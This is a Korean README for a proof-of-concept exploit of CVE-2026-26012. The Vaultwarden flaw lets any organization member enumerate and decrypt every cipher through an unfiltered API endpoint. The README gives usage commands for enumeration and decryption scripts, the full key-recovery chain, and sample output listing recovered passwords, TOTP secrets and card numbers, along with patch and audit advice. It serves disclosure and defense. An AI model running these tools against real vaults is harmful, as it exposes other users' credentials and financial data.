
CVE-2026-26012에 대한 개념 증명 익스플로잇으로, Vaultwarden의 손상된 접근 제어로 인해 모든 조직 구성원이 컬렉션 권한을 우회하여 모든 암호를 열거하고 복호화할 수 있습니다.
조직 컬렉션 권한을 무시하는 전체 Cipher Enumeration
CVE-2026-26012에 대한 개념 증명(PoC) 익스플로잇으로, Vaultwarden (<= 1.35.2)의 손상된 접근 제어 취약점입니다. 이 취약점으로 인해 조직의 모든 구성원이 컬렉션 수준 권한과 관계없이 조직 내 모든 cipher를 검색하고 복호화할 수 있습니다.
🤖 참고: 이 프로젝트는 Claude 3 Opus의 도움으로 개발되었습니다. AI는 코드 생성, 아키텍처 구조, 문서화에 활용되었습니다. 모든 결과물은 수동으로 검토되고 품질 보증을 위해 테스트되었습니다.
| CVE | CVE-2026-26012 |
| Advisory | GHSA-h265-g7rm-h337 |
| 영향 범위 | Vaultwarden ≤ 1.35.2 |
| 수정 버전 | 1.35.3 |
| CVSS 3.1 | 6.5 (Medium) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-863 — 잘못된 권한 부여 |
| 공로 | @odgrso 발견, @BlackDex 수정 |
API 엔드포인트 GET /api/ciphers/organization-details는 조직의 모든 구성원이 접근할 수 있습니다. 내부적으로 Cipher::find_by_org를 호출하여 조직의 모든 cipher를 반환한 다음, 컬렉션 수준 접근 제어를 적용하지 않고 CipherSyncType::Organization으로 제공합니다.
조직의 모든 cipher는 동일한 조직 암호화 키를 공유하므로(가입 시 모든 구성원이 받는 키), 유출된 cipher는 클라이언트 측에서 완전히 복호화될 수 있습니다.
일반 조직 구성원("Public" 컬렉션으로 제한됨)
│
├── GET /api/sync → 5개 cipher (정상)
│
└── GET /api/ciphers/organization-details
└──→ 47개 cipher (조직의 모든 cipher — 버그)
└──→ 제한된 컬렉션의 42개 cipher (유출됨)
└──→ 구성원이 이미 보유한 조직 키로 복호화 가능
.
├── README.md # 이 파일
├── poc_cve_2026_26012.py # 1단계: Cipher enumeration 및 유출 탐지
├── poc_decrypt.py # 2단계: 조직 키 복구 및 cipher 복호화
└── LICENSE
cryptography (2단계 복호화용)argon2-cffi (대상 인스턴스가 Argon2id KDF를 사용하는 경우에만)pip install cryptography
pip install argon2-cffi # 선택 사항
일반 /api/sync 엔드포인트가 반환하는 cipher와 취약한 /api/ciphers/organization-details 엔드포인트가 반환하는 cipher를 비교하여 인스턴스가 취약한지 탐지합니다.
# 브라우저로 인증(SSO + 2FA 지원) 후 Bearer 토큰 전달
python3 poc_cve_2026_26012.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--org-id "ORG-UUID" \
--output results.json
# Bearer 토큰 (권장 — SSO + 2FA 지원)
--token "eyJhbGciOi..."
# 세션 쿠키
--cookie "VAULTWARDEN_SESSION=abc123..."
# 원시 Cookie 헤더 (여러 쿠키)
--cookie-header "session=abc; token=xyz"
# 직접 비밀번호 로그인 (SSO 및 2FA 미지원)
--email [email protected] --password "MasterPassword"
Bearer 토큰 추출 방법:
/api/... 요청을 찾아 Authorization 헤더 값 복사--no-verify-ssl # SSL 검증 건너뛰기 (자체 서명 인증서)
--show-all # 정상적으로 접근 가능한 cipher도 표시
--max-display 50 # 표시할 유출 cipher 최대 수 (기본값: 20)
--output results.json # 전체 결과를 JSON으로 내보내기
조직 암호화 키를 복구하고 1단계에서 유출된 모든 cipher를 복호화합니다.
python3 poc_decrypt.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--email [email protected] \
--master-password "YourMasterPassword" \
--org-id "ORG-UUID" \
--leaked-json results.json \
--output decrypted.json
참고:
--master-password는 Vaultwarden 마스터 비밀번호로, 복호화 키 체인을 파생하기 위해 로컬에서만 사용됩니다. 네트워크로 전송되지 않습니다.--token이 API 인증을 처리합니다.
문제 해결: 키 복호화가 실패하면
--debug를 추가하여 각 단계의 중간 값을 확인하세요. 스크립트는 계정 연령과 구성을 처리하기 위해 5가지 전략(HKDF 최신, HMAC 레거시, 원시 키, HMAC 건너뛰기 변형)을 자동으로 시도합니다.
이미 64바이트 조직 키(128자리 16진수)가 있는 경우:
python3 poc_decrypt.py \
--org-key-hex "aabbccdd...128_hex_chars..." \
--leaked-json results.json \
--output decrypted.json
[*] === 키 복구 체인 ===
[1/6] KDF 매개변수 가져오는 중...
KDF: PBKDF2-SHA256, iterations: 600000
[2/6] 마스터 키 파생 중...
[3/6] 마스터 키 스트레칭 중 (HKDF-Expand)...
[4/6] /api/sync에서 암호화된 키 가져오는 중...
Organization: ACME Corp
[5/6] 사용자 대칭 키 복호화 중...
[6/6] RSA 개인 키 복호화 → 조직 키...
[+] 조직 키 복구 성공!
[*] 42개 cipher 복호화 중...
============================================================
복호화 결과
============================================================
총계: 42
복호화됨: 42
오류: 0
영향 요약
복구된 비밀번호: 35
복구된 TOTP 시크릿: 12
복구된 카드 번호: 3
============================================================
조직의 모든 구성원은 이미 RSA 공개 키로 암호화된 조직의 대칭 키를 보유하고 있습니다. 복호화 체인은 다음과 같습니다:
마스터 비밀번호 + 이메일
│ PBKDF2-SHA256 또는 Argon2id
▼
마스터 키 (32바이트)
│ HKDF-Expand-SHA256
▼
스트레치 키: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (profile.key 복호화)
▼
사용자 대칭 키: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (profile.privateKey 복호화)
▼
RSA 개인 키 (2048비트 PKCS#8 DER)
│ RSA-OAEP-SHA1 (profile.organizations[].key 복호화)
▼
조직 키: encKey (32B) ║ macKey (32B)
│ AES-256-CBC + HMAC-SHA256
▼
복호화된 cipher 데이터
Bitwarden/Vaultwarden 모델에서 조직의 모든 cipher는 동일한 암호화 키를 공유합니다. 컬렉션 기반 접근 제어는 서버 측에서만 적용됩니다 — 암호화 모델은 컬렉션 경계를 강제하지 않습니다. 조직 키를 가진 모든 구성원은 조직의 모든 cipher를 복호화할 수 있습니다. 이 CVE는 서버 측 필터를 우회하여 모든 cipher를 모든 구성원에게 노출시킵니다.
| Cipher 유형 | 복호화되는 필드 |
|---|---|
| Login | username, password, TOTP secret, URIs |
| Card | cardholder, number, CVV, expiration |
| Identity | name, SSN, passport, address, phone, email |
| Secure Note | 전체 메모 내용 |
| 모든 유형 | 사용자 정의 필드, 첨부 파일 메타데이터 |
즉시 Vaultwarden을 1.35.3 이상으로 업데이트하세요.
docker pull vaultwarden/server:1.35.3
패치 적용 후 1단계를 다시 실행하여 수정을 확인하세요 — 도구가 NOT VULNERABLE을 보고해야 합니다.
다중 사용자 조직에서 취약한 버전을 실행 중이었다면:
/api/ciphers/organization-details에 대한 비정상적인 API 호출이 있는지 액세스 로그를 감사하세요이 PoC는 취약점이 공개적으로 공개되고 패치된 이후에 게시되었습니다:
이 PoC는 원래 보안 연구원과 유지 관리자의 작업 없이는 존재할 수 없었습니다:
| 역할 | 담당자 | 기여 |
|---|---|---|
| 취약점 보고자 | @odgrso | CVE-2026-26012 발견 및 책임 있는 공개 |
| 수정 개발자 | @BlackDex | Vaultwarden 1.35.3에서 수정 사항 개발 및 배포 |
| 프로젝트 유지 관리자 | @dani-garcia | Vaultwarden 창시자, advisory 및 릴리스 조정 |
오픈소스 생태계를 더 안전하게 유지해 주셔서 감사합니다.
이 개념 증명은 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하지 않은 시스템을 테스트하기 전에 명시적인 서면 승인이 있어야 합니다. 컴퓨터 시스템에 대한 무단 접근은 CFAA(미국), Computer Misuse Act(영국) 및 전 세계의 동등한 법률에 따라 불법입니다. 저자는 오용에 대해 책임을 지지 않습니다.
MIT — LICENSE 참조.